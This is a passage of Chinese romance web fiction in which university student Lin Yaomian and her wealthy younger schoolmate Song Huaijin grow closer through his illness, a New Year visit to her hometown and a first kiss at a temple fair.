短暂的沉默后,宋淮靳又出声:“你觉得不安全的话,可以锁上门。”
在狩猎者的领地里画地为牢其实没有什么用。
林杳眠躺在席梦思大床上的时候,感觉被一种温暖又辛辣的气息包围住了。像被火焰舔过的鼠尾草。
如果蒋悦知道她因为晚归不能回寝室,睡在一个男生的卧室里,林杳眠不敢想会遭受一顿有多严厉的批评。事情总在往不可控的方向发展。她的神经一会儿紧绷,一会儿放松,多次循环后,终于进入睡眠。
宋淮靳冷静地来到客卧的卫生间洗澡。
阿姨收到他的要求后,把客卧的床用防尘罩盖了个严严实实。
最后黏在身上的那点酒气也被冲刷得干干净净,宋淮靳关上客卧的门,重新回到客厅。他穿着一件单薄的白色短袖,走到窗边,打开一条缝。
冬天的风找到出路,沿着缝拼命往里灌。
宋淮靳来到地暖的控制面板,把主卧的温度微微上调,然后关掉了客厅的供暖。
第一次睡沙发有种奇妙的感觉,但也不是什么难事。
他在英国的宿舍其实和林杳眠的相同,一张九十厘米宽的单人床。
15. 狗
厚重的天鹅绒窗帘隔绝了光线。林杳眠迷迷糊糊地睁开眼,以为天还没亮。她下意识去枕头旁边捞手机,没有碰到平时冰冷的金属栏杆,抓过手机一看,上午十点。
瞌睡劲跑了一干二净。林杳眠蹭地一下坐起来,她昨晚没有睡在宿舍。
林杳眠还没做好下楼的准备,她蜷缩着腿,打开手机上的微信。
列表的最上方是两个置顶的小群。
其中一个里面,有人在今天早上发起一笔匪夷所思的大额转账,却没有任何收款提示。林杳眠觉得袁曼香可能和叶佳媛起冲突了。
而另外一个三人的家庭群,林杳眠已经习惯了没有新的消息。林建峰最初外派到非洲的时候,蒋悦还会跟年纪不大的林杳眠说:“你爸爸是爱你的,只是他不善于表达。他去这么远的地方,也是为了家里好。”
这种解释听多了,林杳眠也不再问。一道题做十遍,得到的都是相同答案,没有必要再重复练。
蒋悦身为高中班主任,在班上最常挂在嘴边的一句话:“你们能不能长点心?我跟你们呆的时间,比我自家女儿都多。”
林杳眠不知道蒋悦的学生怎么看待这句话,但从她的角度,蒋悦说的都是真的。
从床上坐起来,林杳眠觉得该回寝室协调剩下的烂摊子了。至少要跟叶佳媛把态度摆出来,下次再发生类似的话,她们俩不会再管。
林杳眠下楼之后,并没有在客厅看见宋淮靳的身影。
一个阿姨在收拾沙发上的被子,另一个阿姨招呼她吃早饭,用京味儿很重的普通话对她讲:“小宋还在楼上书房打电话,他说你要是中途下楼了先吃饭,不用等他。”
招呼她吃饭的阿姨自称姓李,以前在港岛和美国都给人当过私厨,辗转几番又回了家乡京市。
另外一个姓王的阿姨给她拿来一双一次性拖鞋,接着上楼打扫卧室。
林杳眠被弄得有点晕晕乎乎的,从前都是她帮外婆干这些事,现在被人伺候,反到不习惯。
宋淮靳还不知道林杳眠醒了,他坐在书房的椅子上,和屏幕那头的钟屹远对视。
眼观六路耳听八方的港岛媒体至今还不知道,港岛千亿豪门话事人钟屹远的独生子不姓钟,而是随母亲姓宋。
宋淮靳一直觉得钟屹远和英国学校里那些假惺惺的高层管理没区别,横竖都是找他麻烦来的。更何况上一次的谈话里,他已经挨过一次骂了。
“你过去几个月的信用卡账单已经转到我手里了。”钟屹远的语气非常平和,“我想提醒你,你去那儿是上学的,半年前你拿这个条件换了一架私人飞机。”
宋淮靳更来气了,出离地愤怒:“让我来这儿是我妈的主意,你只是为了哄她开心!需要我提醒你吗?现在那架飞机在巴黎,我妈也在巴黎,你的两千万美元是花给她的,不是花给我的!”
“你落地就买了新车,并且不止一辆,还有各种乱七八糟的开销。”钟屹远拿起手边的账单,开始一项一项地念起来。
每一项事无巨细,这里面绝对有陈墨宇的功劳。
宋淮靳吹了一晚上的冷风,早上醒过来头本来就痛,这会儿听他爹跟念经似地数落他,终于忍不住先关掉摄像头,不管钟屹远什么反应,冷冷留下一句:“那你让信托基金别给我信用卡还款。”
然后他径直合上了电脑。这句话不是他第一次说,他的信用卡至今仍然有刷不完的额度。宋淮靳也不怕钟屹远真的停掉他的卡,因为他还有个绝招没使出来。在家庭话语权上,他或者他爹,说了都不算。
宋淮靳一打开书房的门,碰上王姨拿着清理工具往卧室走。
“她在楼下吗?”他说话的时候喉咙生疼。
但这是个好兆头,说明计划正在生效。
林杳眠在餐桌上也听出来他声音不对劲,纠结地问:“你是不是嗓子不舒服?”
宋淮靳笑了下:“有一点。”
*
林杳眠打开寝室门,袁曼香带着耳机坐在书桌前,而叶佳媛正拎起包,像是要走人。
袁曼香一看林杳眠回来了,扯下耳机,指着叶佳媛的鼻子说:“你要不要看看你什么态度?我们两个昨天辛辛苦苦把你接回来,眠眠为此寝室都没回成,在外面住了一晚,还在酒吧和别人起了冲突。”
叶佳媛挎着包,不耐烦地撇开袁曼香的手:“我转给你的钱还不够吗?不够我再转你双倍,连林杳眠的住宿钱一起报销了。”
袁曼香睁大眼睛:“你到底有没有点教养?!”
叶佳媛换了副神情,转过去盯着袁曼香。袁曼香被看得内心发毛,才听见叶佳媛缓缓说:“对啊,我就是有妈生没爹养的没教养的东西,你还有什么要说的吗?”
林杳眠拦住叶佳媛的去路:“你至少应该和我们说句谢谢吧。下次再发生这种事,我们不会再去接你了。”
叶佳媛表情轻蔑,过很久,才敷衍一句:“谢谢。下次也请你们别管我了。”
然后头也不回地推门走了。
袁曼香感到一阵肝疼:“怎么会有这种人?有几个臭钱给她能完了,谁稀罕那点打车费。”
气过劲儿以后,袁曼香又开始拷打林杳眠:“你快交代你和昨天那位学弟是什么情况?!他是不是之前论坛上那个?我就说昨天第一眼怎么这么眼熟!”
林杳眠在陈述中隐瞒了一部分不重要的细节。
袁曼香听完,八卦之心达到顶点,发出土拨鼠一样的尖叫:“对不起眠宝!我收回之前对这位学弟的不实言论,你快告诉我被这种长得帅又有钱的学弟追是什么感觉?他是啥类型的?小奶狗还是小狼狗?”
这个时候的林杳眠还没办法回答袁曼香的问题。很久以后她再次回想起宋淮靳在大学期间的种种行为,如果能够穿越时空,她想对袁曼香说,宋淮靳两者都不是。
他只是单纯的狗。
袁曼香的拷打持续到了饭点。
吃
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完午饭,袁曼香发起最后一个问题:“那你准备什么时候答应他?”
林杳眠一愣:“你为什么觉得我一定答应他?”
“想想你之前怎么对别人的。你要是想拒绝他早就拒绝了,一直拖到现在,说明你只是没有准备好答应他。”
袁曼香说得理所当然。
整个下午,林杳眠效率低下地泡在实验室,不仅是因为袁曼香的话,还有屏幕上不知所云的代码。
实验室师兄把文件发给她的时候,只说这是之前学生留下的成果,可以改了以后再用,但没说通篇的代码连一行注释没有。能看出来写代码的学生致力于省电省钱,在键盘上打变量名称的时候可以精简到三个字母。
快到晚饭点,林杳眠才理出些逻辑,勉强跑通了更改以后的模型。里面还有细节问题,但林杳眠麻木地选择了关机。师兄告诉她的,别管代码是用手跑还是用脚跑,能跑起来就行。
林杳眠的手放在房间灯的开关上,还没按下去,有人给她发来新的消息。
宋淮靳:「我好像发烧了。」
林杳眠啪嗒一下关上灯。冬天的太阳比夏天的懒散,尽管才到晚饭点,天已经变成冻僵的青灰色。没有开灯的走廊里只剩下手机屏幕的亮光。
「?」
对方没有回复这个问号,而是直接打来一个语音电话。
“我感冒了。”宋淮靳在电话里的声音听起来比平时更低哑,像在用绳子拽着人往下。
林杳眠不知道是他生病导致,还是音频经过传输压缩,丢失了部分频率。
宋淮靳没有第一时间得到回应,不依不饶地强调一遍:“我不舒服,很难受。”
林杳眠背靠在走廊墙壁上,她庆幸今天师兄说实验室晚上有个聚餐,漆黑的楼层此时安静得只有她一人。
“你去过医院了吗?”
“还没有。”
林杳眠确信那一头说话的人在床上翻了个身,她清晰地听见布料摩擦的声音。像铙钹轻轻敲击在一起。
黑暗会放大人类的感知能力。林杳眠仿佛能听见自己呼吸的回音,打在对面冰冷的墙壁,又反弹回来。
她的思考时间也格外漫长,如何斟酌出一个合适的回答。日常生活起居都有不同人照顾的富家子弟,生病这种事应该也有人陪才对。
宋淮靳迟迟等不到他想要的回答,又一次直白地表达了他的愿望:“你陪我去医院好不好。”
他说的话从听筒里出来,又像被吞回去,绵软的气泡破裂在耳边。
林杳眠被黑暗包裹住。这一次她面前没有站任何人,只有白色的墙壁。
但她能想象出宋淮靳的表情和每一处细节。
他嘴角上扬的时候脸部轮廓看起来比平时更加圆润。小扇子般的睫毛下圆弧状的眼睛会专注地看一个人,藏在里面有浅浅的笑,还有更多难以解读的情绪,如同钩子一样牢牢地抓住注意力。
恶劣的撒娇。
16. 胆小鬼
林杳眠梦见了小时候的事。她和外婆在一起度过的共同时光,仿佛拿着万花筒观察里面千变万化的美丽图案,形成了她记忆里对幸福最初的定义。
筒身里的镜子损坏以后,图案变得模糊残缺。
外婆在某一个下午突然晕倒,小学四年级的林杳眠也没想到有一天她在学校学到的应急知识会派上用场,拨打急救电话以及如何正确向接线员描述情况和家庭地址。
那时的林杳眠远没有现在懂事,也不知道酮酸中毒意味着什么,只记得外婆一直在医院输液,输液,还是输液。输到她都有点不耐烦了,气鼓鼓地问外婆什么时候可以回家。
“快了。”外婆摸摸她的头。
林杳眠懵懂地哦一声,抓着外婆刚拔掉针头的手,靠在病床边,迷糊地打起瞌睡。
这双年迈的手,骨骼有多坚硬,皮肤便有多柔软。
手里的触感不对,林杳眠突然意识到。新注射进的液体会导致外婆的手变得冰凉,但现在她手心里攥着温热。
林杳眠潜意识加大力道,又确认一遍。她睁开眼睛,看到的还是白色的被单,医院病床里特有的白。
单人病房弥漫着淡淡的消毒水味,走廊上偶尔踏过去一阵急促的脚步声,又很快消失。
林杳眠刷地一下坐起来,一转头,发现宋淮靳目不转睛地盯着她。
病人醒着,陪护的人反而睡过去了。林杳眠自认为她对他生病这件事也有责任,如果她昨天没有借宿他家,他还能够睡在温暖的卧室,不至于现在来医院挂水。
她摸了摸鼻子,想去找手机。
宋淮靳抢先一步回答:“你睡了半个小时。”
“你主动抓的我的手。”他又补充说道。
林杳眠猜不透宋淮靳每次说话都在想着什么。他有时候会在她不想继续某个话题时完美转移,有时候又刻意直接问出她想要回避的问题。
林杳眠把手收回来,撑在额头上,乌黑的秀发遮住半张脸。她希望时间倒流回半个小时前,就不用面对这个尴尬的场面。
或者再往前一点,她没有答应陪他来医院。
初到公寓的时候,林杳眠看宋淮靳的脸颊两侧晕了点不正常的酡红,但他又精神熠熠的模样,全然看不出发了烧。等到医院,护士把体温枪往他前额上一放,好家伙,39度4。
等脸上的温度消散一些,林杳眠才放下手,对他说:“我不是故意的。”
“你是故意的也没关系。”
他在聊天上固然富有技巧,同时也有办法直接把对话聊死。
林杳眠暂时不想跟他说话了,对着白色的被单发起呆,短暂的睡眠以后她的大脑有种清醒又混沌的撕裂感,尤其是经历了一下午高强度的脑力工作以后。那些一串又一串的代码像爬进了脑子,又被活生生地扯出去。
宋淮靳看到她虚散的眼神,眼尾耷拉下去。他不喜欢这种感觉,他希望她的注意力一直在他这儿。
“林杳眠。”
宋淮靳突然太高音量叫她的名字。
林杳眠侧过头,用疑问的眼神看向他。
“我要喝水。”宋淮靳面无表情地说。
林杳眠点头,到外面的便利店给他买了瓶矿泉水。
过了不到十分钟。
“我要吃东西。”
林杳眠又一次站起来,去便利店的货架上挑了两袋饼干。
宋淮靳看到包装,皱起眉:“我不能吃这个。”
林杳眠猛地想起来,他有麸质过敏。
“那你想吃什么?”她回忆起之前搜索出来的那份含麸质的食品名单,实在想不出有什么种类的零食不在上面。
宋淮靳沉默地盯着她,不说话。
他的一日三餐有专人照料,连调料都是特制的,公寓里的零食也经过严格筛选。
便利店当然很难买到经过处理的无麸质饼干。但他的真实目的并不是使唤她去买东西。
宋淮靳问她:“你吃过饭了吗?”
“没有。”
“那我让李阿姨做了吃的送过来。”他作势要去拿手机。
林杳眠制止他:“不用,我把饼干吃点就好。”
迟疑一下,她说:“但你要是饿的话,李阿姨到楼下你告诉我,我下去帮你拿。”
宋淮靳沉默地看了她很久,然后睫毛缓慢垂下去,闷声回答:“算了吧,我不饿。”
林杳眠一怔,看见躺在病床的人别过脸,拿起手机不停打字,他没有开静音模式,每个字母敲下去都有声音,回荡在单人病房中。
他打字速度很快,不知道在和谁聊天。
宋淮靳一抬头,发现林杳眠在对着自己发愣,目光落在他手机上。他停下打字的动作,解释:“我在跟我妈汇报情况。”
“啊?”林杳眠回神,没有听清。
“我生病了,刚刚在给我妈留言。”
留言这个词在语境里显得格外古怪。
林杳眠条件反射似地接话:“那她回复你了吗?”
“没有。”宋淮靳放手机到一边,口气轻描淡写,“我妈是个非常自私的人,她才没空回复我。”
“什么?”林杳眠震惊住,注意力又重新被吸了。
她简直不敢相信宋淮靳说出来的话。怎么有人用这个词形容自己的母亲。尤其是他还一脸坦然,没有半点负面情绪。
“她说过,如果我生病了,必须要向她汇报。她只用看到消息就可以了,不需要回复我。”
宋淮靳继续淡定地说:“反正她就是个很自私的人,她不在乎我爸,也不在乎我。我应该是是她人生中少有的一大败笔。”
震惊转化为震撼,林杳眠忍不住追问:“为什么?”
宋淮靳皱下眉头。
“哪有为什么,我妈就是眼里永远只有自己,还有她那一大堆珠宝首饰。她生我只是单纯为了‘延续她伟大的美貌基因’。哦对,我妈当时很早想要一个洋娃娃一样的女儿,所以医生把我抱给她的时候她脸都快绿了。她专门让医生隐藏了性别,说要给自己一个惊喜,结果到最后发现生出来一个带把的。”
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他从小被灌输的意识,宋女士在三口之家拥有绝对的话语权。做什么事下什么决定,不需要任何理由,即使把他单独扔在瑞士,他孤独的童年也非她造成的。
“好吧…”林杳眠觉得她需要一点时间消化他说的话,又实在想象不出超越她理解范围的家庭关系。
但她思索了一会儿,还是回应道,“你妈妈其实也…挺成功的。你长得很好看”
成功地把优秀的外貌基因遗传给了他。
林杳眠从第一次见面就认定的事实,那时候她对他的为人还停留在刻板印象中,但从来没有想过去否认过他这张脸。
“当然,她一直这么认为。”宋淮靳听多了别人对他妈的赞美,不以为意,但第二句话就不一样。
宋淮靳坐起来,手撑在床边,耷拉的眼尾又弯起来:“你觉得我很好看吗?”
林杳眠看见他此时月牙形状的眼睛,不受控制地点了点头。
他又问:“那你以前遇到的男生有比我好看的吗?”
林杳眠在漫长的脑海里搜索一番,从高中到大一,好像还真没有。
她摇摇头。
宋淮靳对她的反应十分满意,循循善诱:“那你喜欢我的长相吗?”
林杳眠的脑袋往下摆动一个非常微小的幅度,然后立刻止住了。她意识到宋淮靳真正的意图,难以置信地转过头。
“你在说什么?!”
面对她的强烈反应,宋淮靳更显冷静地重复一遍:“我问你喜不喜欢我的长相。我昨天已经告诉过你我的想法了,你今天还愿意接着和我同处一室,说明你不讨厌我。你刚才还夸我长得好看,我不介意你只喜欢我的外表。”
喜欢他的皮相也是一种喜欢。
而且宋淮靳相信,像他妈那样自私的人,外貌基因也很自私,绝无可能再遗传给第二个人。
林杳眠被他的一顿输出弄得哑口无言,她觉得他在偷梁换柱地诡辩,但又找不出反驳的证据。
袁曼香说的对,如果她想拒绝他,应该很早就说出口了。
宋淮靳也说得对,林杳眠被他出众的外表迷惑过很多次。她每每和他对视的时候,很难自我思考,经常被牵着走,做出不合常理的决定。
喜欢一个人的长相是合理又肤浅的理由,她还想再挖掘出一些更深层次的东西,但她问自己,她到底想什么的时候,她犹豫徘徊的路口又被雾挡住了。
林杳眠在困扰要如何回答这个问题。
宋淮靳又及时开口,他的眼睛生动地弯起来,口吻似在安慰人:“你不用现在立马回答,你不是一直说你需要时间想一想吗。等你想好了,我们再讨论这个话题。”
博弈论中有一个经典模型叫胆小鬼博弈。双方对抗,其中一方让步对双方都有好处。盲目地一味进攻会导致两败俱伤,偶尔的妥协策略反而会获取更多好处。
宋淮靳又露出那个标志性的迷人笑容。
林杳眠看着他因为生病染上浅红的脸颊,明亮剔透的眼睛,然后鬼使神差地点了下头。
17. 酸梅
接下来很长一段时间,林杳眠获得了喘息的时间,但她依旧没能停下来真正地去思考。临近年底,新闻部的工作进入收尾阶段。
后面几次的部门任务里,宋淮靳表现积极,每次提前几天就开始在微信上询问她准备工作的注意事项,却再没有和她提过那个敏感微妙的话题,仿佛一切烟消云散。
林杳眠顺利度过了大学第三个昏天黑地的期末。结束最后一门考试的当天,她直接坐上了回芜川的飞机。
身为高中老师的蒋悦同样在享受寒假,外派务工的林建峰每年也只有过春节的日子回国探亲。
难得的家庭团聚并没有多热烈,蒋悦在饭桌上三句话不离今年的高考改革,林建峰和以前一样少言寡语,外婆笑眯眯地看着所有人,相似的场景重复了一年又一年。
林杳眠在狭小的卧室里消磨了大部分时间,墙壁上还贴着她高三的作息时间表。一年多过去,纸张一侧的胶水已经干涸,摇摇欲坠地卷起边。
卧室的门外传来电视机的声响,她读文献时偶尔会生出一种古怪的错乱感,仿佛下一秒外婆会推开门喊她吃饭。
有一天下午,康欣妍分享过来一条美国博士申请经验的链接,林杳眠才猛地反应。她和宋淮靳的聊天记录,停留在了半个月前。
他的最后两条消息:
「稿件已经发给部长了」
「谢谢学姐这段时间的照顾」
两个人“上下级”的关系就此解除。
林杳眠想不起他上次叫“学姐”是什么时候,宋淮靳不高兴时往往会连名带姓地叫她,当她真正回过头,他又笑起来。
她此刻难以分辨出“照顾”二字是指他生病那次,还是工作上的。
林杳眠在想她为什么没有及时回复宋淮靳的这条消息,攀着时间线回忆。收到消息的那天,她正要去参加数学分析的考试,满脑子都是曲线积分的公式。
从考场一出来,回复消息的事被她抛之脑后,聊天框像蛋糕奶油被一层一层挤压到下方。
时至今日,聊天记录才又被她翻出来。
他的用词称得上相当礼貌。
过于的礼貌会变成疏远。
林杳眠不像宋淮靳社交技巧丰富,他总能找到办法表达自我想法。
现在她想打字,但是失去工作上的连结,两个人在生活中毫无交集,所以林杳眠找不到合适的理由挑起话题。
当宋淮靳不主动的时候,两个人的生活就是两条相互平行的直线。
放下手机,林杳眠对着陈旧的时间规划出神,厨房里飘来饭菜的香气,今天是大年三十。
林杳眠不知道如果她早一点顺从内心肤浅的指引告诉他答案,是否会改变当下的局面。
袁曼香和她说过的,当男生发现没有机会,会开始寻找下一个。
*
吃过年夜饭,一家四口坐在电视机前观看春晚,林杳眠频频走神。
现在的春晚远比小时候的无聊。
小品一结束,外婆说颤巍巍地站起来,说要睡觉。老人家的身体没法坚持到凌晨十二点。林杳眠扶着外婆去睡觉。
从卧室出来,她也没有继续看春晚的兴趣。
回到卧室。林杳眠躺在床上,没有入睡的打算。零点一过,窗外会响起噼里啪啦的烟花声,大家都赶着除旧迎新,盼个好兆头。
老房子的隔音效果很差,林杳眠清楚地听见电视机里传来主持人的倒计时。
三、二、一。和烟花一同震起来的还有她的手机。
手机已经响了一晚上,林杳眠不用看也知道全是亲朋好友的新年祝福,大部分人会采用群发形式,一部分有点心的会在前面多加个名字,极少数人会认真编辑每一个字。
吵扰的夜晚,挨个回消息都显得很累。
林杳眠闭上眼,等噪音消散一些,才解锁屏幕。
一堆长文字的祝福中间,有一条简短的消息格外突兀。
半个小时以前,正好是零点。
宋淮靳:「新年快乐」
年夜饭的饮料是酸梅汤。山楂和乌梅蕴含的天然果酸重新灌进喉咙里,咽不下去也吐不出来。
林杳眠呼吸凝滞,过了很久,才在黑暗中打字:
「新年快乐」
通常来说,成人的新年祝福到这里就结束了。有一部分聊天框甚至不会在新的一年里多出任何内容,直到来年的春节将至。
所以林杳眠没有预想到,四个字发出去以后,他像上次一样,打来了语音电话。
宋淮靳跟她说的第一句话:“新年快乐”
林杳眠缓慢地被窝里坐起来,靠着墙缩成一座坚实的小山。
“新年快乐。”她迟疑一会儿,尝试性地找出一个愚蠢的问题,“你还没有睡吗?”
宋淮靳语调平淡地说:“我以为你不会回复我了。”
似乎在说迟到的新年祝福,又像意有所指。
林杳眠的喉咙里好似卡了一颗没熟透的乌梅,果核周围细小的纤维刮过黏膜,带来酸酸涩涩的口感。她的视线正对窗外,烟花灿烂。
“太多朋友发新年祝福了,要一个一个慢慢回复...”
这个解释实在算不上高明。
“是吗?”
伴随疑问句的还有一声轻笑,夜晚里显得分外清晰。
“那你应该很受欢迎,这么多人给你发消息。”宋淮靳站在落地窗前,外面并无万家灯火的场景,过年的京市反而更冷清,购物中心亮了一整年的彩灯终于熄灭。
“我今天一个人在家。”他说得不抱怨,只是陈诉事实。
林杳眠听出另外的味道,抓紧贴在耳边的手机:“你还在京市吗?”
宋淮靳嗯了一声。
“你不回港岛过年吗?”
他笑了下:“我们家没有这个习惯。”
家族宴会的形式大于本意,钟屹远一个人出席足以镇住场面。宋女士还在歌舞升平的巴黎,参加春夏系列的高级定制时装周。
他是个不重要的人,过去十年多没有参加家宴,现在更没有必要。亲戚们或许会有一丝遗憾,但这种遗憾并不来自宋淮靳的缺席,而是钟屹远和宋女士的独生子没有到场,否则会是一个介绍姻缘的绝佳时机。
宋淮靳问她:“你回家了吗?”
“嗯,我考完期末就回芜川了。前几天出去走过几次亲戚。刚刚和爸爸妈妈还有外婆吃过年夜饭,一起看了春节联欢晚会。我刚回到卧室准备睡觉,手机里很多消息...”
林杳眠说完才意识到,她很想跟他聊天,但这么长的一段话在此时不合时宜。因为宋淮靳的声音听起来很平静,带有一种淋过雨的潮湿感。
和他一比,她的春节其实过得很圆满。
无处安放的沉默隔着两千公里。
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久到林杳眠以为他不会再说话了,她犹豫要不要结束通话。
宋淮靳却突然开口:“我想来找你。”
林杳眠捏紧被子的一角:“芜川没有什么好玩的...”
再普通不过的二线城市,没有出名的景点,也没有出名的美食,只有普通人。从这里坐一个小时高铁可以到隔壁省会城市,那儿才有络绎不绝的游客。
“我不是要去哪儿玩,我只是想来找你。”宋淮靳打断她,不给她拒绝的机会。
“我现在就买明天的机票。”
*
第二天,林杳眠告诉蒋悦她要去机场接一个同学。
“大学同学?大年初一跑来芜川玩?”蒋悦在惊讶的同时,保留了身为高中班主任的直觉,“男生女生?”
“对,大学同学,女生。我在学校新闻部认识的。”
林杳眠蹲下来系鞋带,以便蒋悦看不见她的表情。
在蒋悦眼里,女儿是不可能撒谎的,所以她轻易相信了这个理由,还在微信上转去一个红包:“那你好好招待人家。”
林杳眠面不改色地背起包出门。
如同林杳眠在电话里所说,芜川没有可以游玩的景点,她只能带着宋淮靳在市中心的购物街逛一逛,然后去参加最俗气的春节活动——庙会。
两边的摊贩热气腾腾,但宋淮靳无福消受这些美食,他什么都吃不了。
林杳眠心里涌起一股挫败感。
到一处偏僻的休息区,林杳眠坐在树下的座位,看着远处拥挤的人群。
她侧过头问旁边的人:“你想回酒店吗?”
宋淮靳摇头,反问她:“你累了吗?”
林杳眠也摇下头,目光对向漆黑的地面:“是不是很无聊?”
小时候外婆带她来参加庙会,传统小吃一样没有变,只不过价格翻倍了。
“为什么会无聊?我第一次来这样的地方玩。我小时候没有人告诉我要过春节,直到我去英国上学,遇上另外一个中国同学,才知道中国原来有另一个新年。”
“他有一年春节说一定要带我感受正宗的中国美食,要亲自下厨。我们找一个周末去租了套别墅开派对,他在厨房里上蹿下跳,最后把火警招来了。”
宋淮靳想起当时的场景,低着头,从胸腔里发出笑声。
林杳眠被感染,跟着弯起眼睛。
她一转过头,发现宋淮靳的笑容又凝固住,他脸两侧的肌肉逐渐松开力。
林杳眠怔怔地看着他,看不懂他突如其来的情绪变化,还有溺于黑影的目光。
“我以前捅过很多篓子,但从来不在新年第一天。”宋淮靳紧紧地盯着她的眼睛,“因为我妈说,新年第一天要做喜欢的事,这样接下来一年的每一天都会心情舒畅。相反如果新年第一天就干坏事,这一年也好不到哪去。”
“所以我今天要来找你。”
林杳眠看着逐渐放大的面容,她被这张脸蛊惑了很多次,经常无法思考或者做出难以控制的决定,在此时也是相同,她的身体彻底僵在原地。
宋淮靳几乎贴在她嘴边说话,侵略的气息围绕她的鼻息间。
“如果你现在不出声,我就理解为你默认了。”
林杳眠的睫毛一颤,下意识微张开嘴,想要说点什么。
但下一秒,另外一个柔软的物体找到可乘之机,钻了进来。
18. 杳杳无声
天色越黑,庙会越热闹。几米之外由灌木修剪而成的天然屏障的另外一头,人声鼎沸。
林杳眠感觉自己像游在水里的小鱼,被捉住,溜走。又被捉回去。脖颈另外一只手被环住,当她稍有往后躲的意味,力道便会增大。
一墙之外纷纷扰扰,嘈嘈切切,各种声音混作一团。
林杳眠尝试地想要抽出手,却被压得更紧。
她太紧张了,以至于忘了他只抓住她的左手,她的右手毫无禁锢。
舌尖上传来湿润的触感,像电流一样快速钻进身体,从头落到脚,蔓延进绷紧的神经。他在亲吻中也完全掌控了主动权,温柔生涩的吮吸很快进化为恶劣的舔舐,在每一寸攻城略地。
大脑的轻度缺氧让林杳眠变得反应迟钝和意识模糊。
她此时仅存的想法是,宋淮靳真是选了个好位置。
然后再也分不出多余的注意力继续往下思考,比如他对此是否早有预谋。
不知过了多久,宋淮靳终于退出去,意犹未尽地在她的唇上轻轻一贴,抵在嘴边问:“要回去了吗?”
林杳眠晕乎乎地点下头,又摩擦过一阵温热。
宋淮靳看到她的反应,笑了一下,侧过身,手肘撑在膝盖上,平视远处的人流。
“不走吗?”林杳眠见他没有半分起身的意思。
“等一下。”宋淮靳淡定地说,“现在出去会很尴尬。”
林杳眠没有立刻领会他在说什么。等光线又描摹一遍他的侧脸轮廓,才猝然理解其中的意思,
她赶紧别过头,目不转睛地看着灌木丛。
*
林杳眠一连五天的外出引起了蒋悦的注意。
“你同学来芜川呆这么久?我们这儿有什么好逛的。”
面对蒋悦的提问,林杳眠有过一瞬的心虚。
两个人这几天快把芜川能逛的购物中心全逛完了,什么也没买,牵着手漫无目的地走在商场里。
只要处于同一个空间内,在恋爱初期便能形成简单的快乐。
林杳眠用一句话搪塞蒋悦:“她后天就回京市了。”
再下去,很难不保证蒋悦能觉察出更多的异样。
她把这句话原封不动地转达给了宋淮靳。
“为什么?”
宋淮靳瞬间皱起眉头。离学校的补考开始还有一周,他完全可以待到那时候。
林杳眠顿一下,面色浮上微微的窘迫,“我妈妈还不知道我谈恋爱了。”
“那你为什么不告诉她?”宋淮靳的眉头拧得更紧,仿佛要绞在一块。
林杳眠不知道怎么跟宋淮靳解释,在国外生活多年的他必然理解不了班主任的含金量。她还没做好准备向一位拥有近二十年带班经验的老师坦白恋爱的事,哪怕这位班主任没有带过她。
但短暂的沉默落在宋淮靳变成另外一层意思。
他的眼神里满是不可思议,拉高音量:“我有这么见不得人吗?”
突如其来的高音量吸引了周围人注意。林杳眠赶紧捂上他的嘴,防止宋淮靳说出更骇人听闻的话。
半张脸被白皙的手遮住,只剩眼睛露在外面,黑密的睫毛垂下来。他的眼睛才是阿尔肯宝石,流光溢彩,永远年轻,永远炙热。
要从三十万的考生取得第一名,光靠天赋不够。林杳眠桌前贴的那张时间表,同时严格控制学习和休息时间,精确到每一分钟。
她在自制力这方面有惊人的表现。
即便如此,在她最想躲的时候,也没能抵抗住这张见不得人的脸的诱惑。
林杳眠叹口气:“你不要乱想。等我找到合适的机会,会跟我妈妈讲的。”
宋淮靳不喜欢这个解释。
他的唇线抿在一起,今天没有戴帽子,林杳眠将他眼尾沉下的角度看得清晰。
小区大门对面,林杳眠的手环上他的腰。
宋淮靳比她高不少,他需要弯下身子,有时候下巴会蹭在她肩胛骨。
但这次分别前的拥抱和前几天不同。
他头靠上去的下一秒,林杳眠感觉到耳垂被人咬了下。
牙齿碰在软肉上,饱满坏意地研磨,酥酥麻麻的。
林杳眠手一松,赶紧从他怀里跳开。
宋淮靳用幽怨了一天的眼神继续盯着她:“我明天能早点来找你吗?”
“最早也要九点,我才能出门。”林杳眠强调一遍时间。
外婆腿脚不便,每天早上需要人用轮椅推着出去散步。护工阿姨回老家过年了,这项任务自然而然地落在她头上。
宋淮靳没有再对此发表意见,而是说:“我定后天回京市的机票。”
林杳眠放下心,又安慰他:“没关系,很快就开学了,我再下个周末就回京大。”
他眉眼弯弯地笑了下,像是被哄好了。
*
早上七点。
林杳眠帮外婆把围巾围得严严实实,笑着问:“外婆,今天早上想吃什么?”
“南街,吃油条。”外婆给出回答。
因为神经退化,外婆并没有认出她,但保留在海马体区的记忆却清楚记得以前常去的几家早餐店。
“好吧,那我们去南街吃油条。”
走出小区一转弯,树下站了一个黑衣黑裤的人。戴在头上的棒球帽,是再眼熟不过的那顶。
林杳眠近乎麻木。
他果然没有听进去昨天的话。
以及幸好蒋悦今天没有跟着一起出门。
宋淮靳在看到林杳眠的一刹那,面露诧异。他脑子里没有那么多弯弯绕绕,只是单纯在这儿等。他以为林杳眠所谓的晚点出门是想多睡儿,她一起床下楼,两个人就能见面。
林杳眠面无表情地注视着宋淮靳摘下帽子,他露出诱人的面庞,一脸疑问地望向她。
“外婆,这是我大学同学。”林杳眠对坐在轮椅上的外婆说,故意把最后两个字咬重。
外婆没有说话,笑盈盈地看着站在面前的宋淮靳。
宋淮靳微笑道:“外婆好。”
外婆还是没有应声。
林杳眠给他解释:“我外婆有阿兹海默症,连我都认不出来。”
也不会记得今天发生过的事。
“那又无所谓。”宋淮靳耸下肩膀,“反正我要跟你外婆打招呼。”
他给一根杆子就能
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顺着往上爬。
如果不是碍于外婆在场,林杳眠很想拿出手机拍张照,让宋淮靳看看现在他的表情有多欠揍。
距离南街还有段距离,宋淮靳接过了林杳眠的任务,推着轮椅往前走。他的确有讨人喜欢的能力,一路上嘴里的话就没停过。
他说他是林杳眠的大学同学,不同专业,但两个人都在学校的新闻部工作。
他说林杳眠成绩很好,部长说她干事很勤快。
外婆还是笑,偶尔嘴角的弧度会更向上扬一些。
林杳眠对于他这种刷存在感的行为无动于衷,还撇下嘴:“你又知道我成绩好了。”
她从来没跟他说过。
宋淮靳简单地反驳:“你又没挂科。”
原来他眼里不挂科就是成绩好。
林杳眠转过头,表情微微蹙起,问他:“你难道挂科了?”
宋淮靳没有一点挂科的羞耻心,理所当然地点头:“挂了高等数学和线性代数,准备下周回去参加补考。”
林杳眠沉默下来,过一会儿又问:“你是叶教授教的高数吗?”
“对啊。”
林杳眠头上掉下三根黑线。
